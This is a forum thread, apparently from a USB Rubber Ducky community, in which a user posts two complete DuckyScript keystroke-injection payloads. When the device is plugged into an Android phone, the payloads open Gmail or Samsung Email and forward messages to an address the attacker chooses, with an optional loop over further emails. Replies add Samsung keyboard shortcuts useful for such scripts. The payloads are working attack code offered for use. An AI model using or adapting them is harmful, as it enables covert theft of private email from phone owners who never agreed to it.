Jump to content
Sign in to follow this  
Cribbit

[Payload] Android phone forward email

Recommended Posts

Posted (edited)

I was playing around with the ducky and an android phone and wrote a payload to forward an email to the address specified.

There are two version one for Gmail and one for Samsung Email. Use GUI + E to find your default app.
I put a comment in for a loop so if you wish to forward more than one.

GMAIL:

REM Forwards the first email in the primary section
REM Only works for phones. 
REM Does not work tablets as menu bar stops tabs
REM GMAIL SHORTCUTS https://support.google.com/mail/answer/6594?co=GENIE.Platform%3DAndroid&hl=en&oco=1
DELAY 1000
GUI e
DELAY 1000
TAB
DELAY 500
TAB
DELAY 500
ENTER
REM LOOP FROM HERE
DELAY 500
CTRL r
DELAY 1000
TAB
DELAY 500
SHIFT TAB
DELAY 500
BACKSPACE
DELAY 500
STRING your@email.com
CTRL ENTER
DELAY 1000
REM Moves to the next email
RIGHTARROW
REM GOTO LOOP

SAMSUNG:

REM Forwards the first email
DELAY 1000
GUI e
DELAY 1000
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
TAB
DELAY 500
ENTER
REM LOOP FROM HERE
DELAY 500
SHIFT TAB
DELAY 500
LEFTARROW
LEFTARROW
LEFTARROW
LEFTARROW
RIGHTARROW
RIGHTARROW
ENTER
DELAY 500
STRING your@email.com
DELAY 500
SHIFT TAB
DELAY 500
SHIFT TAB
DELAY 500
ENTER
DELAY 500
REM Moves to the next email
TAB
RIGHTARROW
RIGHTARROW
LEFTARROW
ENTER
REM GOTO LOOP

 

Edited by Cribbit

Share this post


Link to post
Share on other sites

Probably not as many manufacturers add/remove shortcuts

Here are the shortcuts for a Samsung don't know how many are generic to Android:

Home screen:

  •     Apps list - Alt + A

System:

  •     Home - GUI + Enter
  •     Back - GUI + Backspace
  •     Recent - Alt + Tab
  •     Notifications - GUI + N
  •     Keyboard shortcuts - GUI + /
  •     Lock Screen - GUI + L
  •     Switch Languages - SHIFT + SPACE
  •     Switch Languages - CTRL + SPACE
  •     Switch Languages - LEFT ALT + SHIFT
  •     Start/Exit DeX mode GUI + W

Applications:

  •     Browser - GUI + B
  •     Contacts - GUI + C
  •     Email - GUI + E
  •     Messages - GUI + S
  •     Music - GUI + P
  •     Calendar - GUI + K

 

Share this post


Link to post
Share on other sites
On 6/1/2020 at 5:23 PM, AndNow said:

Been watching @Darren Kitchen on twitch trying to add an attachment to an email. Is there a way using the rubber ducky language?

Don't ping him pls...

Share this post


Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
Sign in to follow this  

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...